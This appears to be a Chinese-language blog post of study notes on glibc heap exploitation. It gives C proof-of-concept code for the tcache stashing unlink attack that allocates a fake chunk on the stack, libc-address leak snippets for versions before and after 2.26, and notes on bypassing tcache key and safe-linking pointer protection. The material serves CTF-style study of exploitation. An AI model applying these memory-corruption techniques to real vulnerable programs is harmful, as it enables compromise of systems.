我们通过伪造smallbinbktarget addr,其可以在任意地址上写一个libc地址(类似unsorted bin attack的效果),构造得当也可分配fake chunk到任意地址

利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <stdio.h>
#include <stdlib.h>

int main(){
unsigned long stack_var[0x10] = {0};
unsigned long *chunk_lis[0x10] = {0};
unsigned long *target;
// stack_var emulate the fake_chunk we want to alloc
stack_var[3] = (unsigned long)(&stack_var[2]);//伪造成双向链表通过检查
//now we malloc 9 chunks
for(int i = 0;i < 9;i++){
chunk_lis[i] = (unsigned long*)malloc(0x90);
}//分配9个
//put 7 tcache
for(int i = 3;i < 9;i++){
free(chunk_lis[i]);
}//将345678free到tcache中,此时tcache中有6个还没到7,没满
//last tcache bin
free(chunk_lis[1]);//填满tcachebin
//now they are put into unsorted bin
free(chunk_lis[0]);//进入unsortedbin
free(chunk_lis[2]);//同上一句,并且和原本unsortedbin中的chunk合并
malloc(0xa0);//>0x90,分割,剩下的进入smallbin
//now 5 tcache bins
malloc(0x90);
malloc(0x90);//分配掉两个,此时tcache中剩5
chunk_lis[2][1] = (unsigned long)stack_var;//伪造指针
calloc(1,0x90);//触发攻击,clloac会绕过tcache,直接从smallbin分配,此时满足条件,会将smallbin中的chunk进入tcache,此时伪造的就进入了tcache中而且在链表头
//malloc and return our fake chunk on stack
target = malloc(0x90); //分配到fake chunk地址附近的chunk
//其 fd 指向下一个空闲块,在 unlink 过程中 bck->fd=bin 的赋值操作使得 target_addr+0x10 处写入了一个 libc 地址。
return 0;
}

libc leak

在以前的libc版本,我们只需要

1
2
3
4
5
6
7
8
9
10
#include <stdlib.h>
#include <stdio.h>

int main()
{
long *a = malloc(0x1000);//确保进入unsortedbin
malloc(0x10);//防止与top chunk合并
free(a);
printf("%p\n",a[0]);
}

而在2.26之后,首先要将tcache填满,(否则会放入tcache中)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdlib.h>
#include <stdio.h>

int main(int argc , char* argv[])
{
long* t[7];
long *a=malloc(0x100);
long *b=malloc(0x10);

// make tcache bin full
for(int i=0;i<7;i++)
t[i]=malloc(0x100);
for(int i=0;i<7;i++)
free(t[i]);

free(a);
// a is put in an unsorted bin because the tcache bin of this size is full
printf("%p\n",a[0]);
}

一些

key

2.27版本加入key成员,其值为 tcache_perthread_struct( heap_base+0x10),位置在bk上

2.34以后key成员变成随机数

next

2.32加入safe-linking机制,此时不能直接伪造next,要加密后在覆盖

加密及解密

1
2
3
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)
  • 如何伪造:
    • 首先free一个chunk到tcache
    • 由于tcache中只有一个chunk,其fd为0,与pos>>12的值异或后仍然为pos>>12(>>是右移,比如0x12345678>>12=0x12345(12为2进制为3位16进制))(pos>>12貌似是堆基地址的高位)
    • 所以我们利用漏洞泄露出这个pos>>12,在以后的伪造中,将我们要覆盖上去的地址^这个值的结果盖上去即可
    • 或者说我们只要知道堆地址即可

堆的攻击
http://yyyffff.github.io/2025/03/19/堆的攻击/
作者
yyyffff
发布于
2025年3月19日
许可协议